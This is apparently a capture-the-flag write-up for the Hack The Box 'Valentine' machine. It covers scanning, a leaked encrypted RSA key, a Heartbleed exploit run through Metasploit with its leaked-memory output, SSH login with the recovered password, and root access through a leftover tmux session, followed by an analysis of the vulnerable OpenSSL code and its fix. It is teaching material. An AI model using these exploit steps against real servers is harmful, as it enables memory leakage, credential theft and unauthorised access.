The Valentine
machine is a easy linux box.
If you are italian you might want to check out the related video.
#Getting a Foothold
#Port scanning
Doing basic scans with nmap
gives us the following
nmap -sC -sV valentine
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-27 16:07 CET
Nmap scan report for valentine (10.129.121.10)
Host is up (0.051s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after: 2019-02-06T00:45:25
|_ssl-date: 2021-03-27T15:07:45+00:00; 0s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.27 seconds
As we can see, we have a web server that offers HTTPS
.
#Enumerating web sever
By going to the web server we are welcomed to an image representing an heart that bleeds.
Doing a quick dirsearch
to check for hidden resources, we get the
following
python3 dirsearch.py -w ~/repos/wordlists/dirb/common.txt -u http://valentine -e php,txt
Extensions: php, txt | HTTP method: GET | Threads: 20 | Wordlist size: 4613
Error Log: /home/leo/repos/dirsearch/logs/errors-21-03-27_16-12-29.log
Target: http://valentine
Output File: /home/leo/repos/dirsearch/reports/valentine/_21-03-27_16-12-29.txt
[16:12:29] Starting:
[16:12:34] 403 - 285B - /cgi-bin/
[16:12:35] 200 - 552B - /decode
[16:12:35] 301 - 304B - /dev -> http://valentine/dev/
[16:12:35] 200 - 554B - /encode
[16:12:37] 200 - 38B - /index
[16:12:37] 200 - 38B - /index.php
[16:12:42] 403 - 290B - /server-status
Task Completed
By going to the folder in /dev
we see two files
The file notes.txt
contains the following
To do:
1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.
While the file hype_key
contains a bunch of bytes written in
hexadecimal. If we decode the bytes to ascii we get the following
rsa private key
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----
Notice that we cant yet use this key, as it is password protected.
#Exploiting heartbleed
To actually get the password the idea is to exploit a well-known
and old vulnerability of openssl
, the open source implementation
of the TLS/SSL
protocol. Indeed, remember the bleeding heart that
we saw as soon as we went to the web server? Well, that was a
hint, because the vulnerability we have to exploit came to be
known as heartbleed
(CVE-2014-0160).
There are lots of resources and sites explaining heartbleed, but
for a quick rundown of the vulnerability, the idea is that the
TLS protocol allows an extension for sending heartbeat
messages
between the client and the server. These heartbeat messages are
short messages whose only purpose is to make sure that the
connection is still valid. The problem, which caused heartbleed
,
was that in older versions of openssl
a client could send the
server only a single byte of data while declaring that it had
sent around 64k of data. When the server processed the message,
no checks were made on the payload length declared by the client,
that is the server did not check if the client actually sent the
amount of data it declared to have sent, and when the server
replied, the client could read up to 64k of memory from the
server. Since the server memory can contain confidential
information such as authentication cookies, private keys, and so
on, this vulnerability posed a serious threat. For a more
thorough analysis go at the end of the writeup, where I analyze
the commit in which it was fixed to check what was vulnerable in
the code itself.
To actually check if this server is vulnerable to heartbleed
, the
following nmap
script can be used
nmap -p 443 --script ssl-heartbleed valentine
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-27 16:17 CET
Nmap scan report for valentine (10.129.121.10)
Host is up (0.052s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
|
| The Heartbleed Bug is a serious vulnerability in the popular
| OpenSSL cryptographic software library. It allows for stealing
| information intended to be protected by SSL/TLS encryption.
|
| State: VULNERABLE
| Risk factor: High
|
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and
| 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug
| allows for reading memory of systems protected by the vulnerable
| OpenSSL versions and could allow for disclosure of otherwise
| encrypted confidential information as well as the encryption keys
| themselves.
|
|
| References:
| http://cvedetails.com/cve/2014-0160/
| http://www.openssl.org/news/secadv_20140407.txt
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds
As we can see, the server is vulnerable. To exploit this
vulnerability we can either use the following python script, or
we can use a metasploit
module as follows
msfconsole
search heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed
show options
set verbose true
set RHOSTS <valentine_ip>
run
Notice the set verbose true
option so that we are able to see the
payload returned by the server, which is the memory of the server
itself. When we hit run
we get the following response
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run
[*] 10.129.119.210:443 - Leaking heartbeat response #1
[*] 10.129.119.210:443 - Sending Client Hello...
[*] 10.129.119.210:443 - SSL record #1:
[*] 10.129.119.210:443 - Type: 22
[*] 10.129.119.210:443 - Version: 0x0301
[*] 10.129.119.210:443 - Length: 86
[*] 10.129.119.210:443 - Handshake #1:
[*] 10.129.119.210:443 - Length: 82
[*] 10.129.119.210:443 - Type: Server Hello (2)
[*] 10.129.119.210:443 - Server Hello Version: 0x0301
[*] 10.129.119.210:443 - Server Hello random data: 605c3e5d496a2b8de38ca697baffedd224393feff0de224dd6bc89f46d5920e0
[*] 10.129.119.210:443 - Server Hello Session ID length: 32
[*] 10.129.119.210:443 - Server Hello Session ID: 8b27bc38edf5a9cbcb83f83a91d8aa14cff400f2abbc0cf6d59fddebdf0e0ced
[*] 10.129.119.210:443 - SSL record #2:
[*] 10.129.119.210:443 - Type: 22
[*] 10.129.119.210:443 - Version: 0x0301
[*] 10.129.119.210:443 - Length: 885
[*] 10.129.119.210:443 - Handshake #1:
[*] 10.129.119.210:443 - Length: 881
[*] 10.129.119.210:443 - Type: Certificate Data (11)
[*] 10.129.119.210:443 - Certificates length: 878
[*] 10.129.119.210:443 - Data length: 881
[*] 10.129.119.210:443 - Certificate #1:
[*] 10.129.119.210:443 - Certificate #1: Length: 875
[*] 10.129.119.210:443 - Certificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name CN=valentine.htb,O=valentine.htb,ST=FL,C=US>, issuer=#<OpenSSL::X509::Name CN=valentine.htb,O=valentine.htb,ST=FL,C=US>, serial=#<OpenSSL::BN:0x00007f74dcd448f8>, not_before=2018-02-06 00:45:25 UTC, not_after=2019-02-06 00:45:25 UTC>
[*] 10.129.119.210:443 - SSL record #3:
[*] 10.129.119.210:443 - Type: 22
[*] 10.129.119.210:443 - Version: 0x0301
[*] 10.129.119.210:443 - Length: 331
[*] 10.129.119.210:443 - Handshake #1:
[*] 10.129.119.210:443 - Length: 327
[*] 10.129.119.210:443 - Type: Server Key Exchange (12)
[*] 10.129.119.210:443 - SSL record #4:
[*] 10.129.119.210:443 - Type: 22
[*] 10.129.119.210:443 - Version: 0x0301
[*] 10.129.119.210:443 - Length: 4
[*] 10.129.119.210:443 - Handshake #1:
[*] 10.129.119.210:443 - Length: 0
[*] 10.129.119.210:443 - Type: Server Hello Done (14)
[*] 10.129.119.210:443 - Sending Heartbeat...
[*] 10.129.119.210:443 - Heartbeat response, 65535 bytes
[+] 10.129.119.210:443 - Heartbeat response with leak, 65535 bytes
[*] 10.129.119.210:443 - Printable info leaked:
<random garbage>
<random garbage>
<random garbage>
<random garbage>
<random garbage>
[*] 10.129.119.210:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
If we hit run enough times, at some point in the <random garbage>
we see the following interesting data
Gecko/20100101 Firefox/45.0..Referer: https://127.0.0.1/decode.php..
Content-Type: application/x-www-form-urlencoded..
Content-Length: 42....
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==.....
bH..M
Notice in particular that $text=
. It seems like its something
encoded in base64
. If we decode it as follows
echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
we get heartbleedbelievethehype
, which seems like a password.
#Getting user flag
We can use the password we have just found to decrypt the rsa key
we found on the web server. To log in the machine we then just
have to "guess" that the correct user with which to use the found
rsa key is the hype
user.
The way to get inside the machine is thus by executing the following
ssh -i id_rsa hype@valentine
where id_rsa
is the decrypted private key. We can also log in
without decryping the private key first. In that case we will be
prompted for a password, and the correct password is
heartbleedbelievethehype
.
Once we are inside the machine the user flag
can be easily
obtained as follows
cat /home/hype/Desktop/user.txt
#Privilege Escalation
To escale our privileges and get the root flag we then simply need
to access a left-over tmux root-session found in ./devs/dev_sess
with the following command
tmux -S /.devs/dev_sess
Once we are root, we can access the root flag
as follows
cat /root/root.txt
#Bonus
#Inside heartbleed (CVE-2014-0160)
To understand better this vulnerability the following resources might help:
- Commit in which it was fixed
- CVE-2014-0160
- https://www.exploit-db.com/exploits/32745
- https://www.exploit-db.com/exploits/32764
- https://stackabuse.com/heartbleed-bug-explained/
By downloading the version of the code right before it got fixed,
we can start to analyze the flaw. The files of interested are
two, as is shown the commit: ssl/d1_both.c
and
ssl/t1_lib.c
. Since however the d1_both.c
is used for the DTLS
implementation, which a version of TLS that uses the UDP
transport protocol - as opposed to the traditional version of TLS
that uses TCP - we will only check out t1_lib1.c
. Let us
first discuss the flawed version of the code, and at the end we
will discuss how it was fixed.
The function of interest is tls1_process_heartbeat()
. As soon as
we enter in the function the server reads the number bytes that
the client declared to have sent, and puts such number in the
payload
variable.
#ifndef OPENSSL_NO_HEARTBEATS
int
tls1_process_heartbeat(SSL *s)
{
// -- p points to record data from client
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */
/* Read type and payload length first */
hbtype = *p++;
// -- read 2 bytes from p and put them in payload
n2s(p, payload);
pl = p;
// -- now payload has length of data from client
If the message was an heartbeat request, the server then proceeds
to allocate memory. The memory allocated depends on the amount of
data specified by the client, that is on the variable payload
.
if (hbtype == TLS1_HB_REQUEST)
{
unsigned char *buffer, *bp;
int r;
/* Allocate memory for the response, size is 1 bytes
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;
Once the memory is allocated, the server does a memcpy
to fill up
the buffer that will then be sent to the client as a response
/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload); // ! can leak memory !
bp += payload;
/* Random padding */
RAND_pseudo_bytes(bp, padding);
And here is the real problem: the memcpy
call copies payload
number of bytes from pl
to bp
, where pl
points to the buffer
containg the data sent by the client to the server. Now, since no
check was made to make sure that the client was honest about how
much data it sent, it can happen that pl
points to a buffer with
less bytes than it is declared in payload
. In this case what is
copied in the response message is taken from the server memory
that sits near the bufffer pointed by pl
. This is where the leak
happens.
To fix the vulnerabily the following code was added when reading the payload length from the client's request
/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->rrec.length)
return 0; /* silently discard */
hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
return 0; /* silently discard per RFC 6520 sec. 4 */
pl = p;
This code makes sure to discard heartbeat requests where the
payload
declared is too big relative to the actual length of the
data received by the server from the client.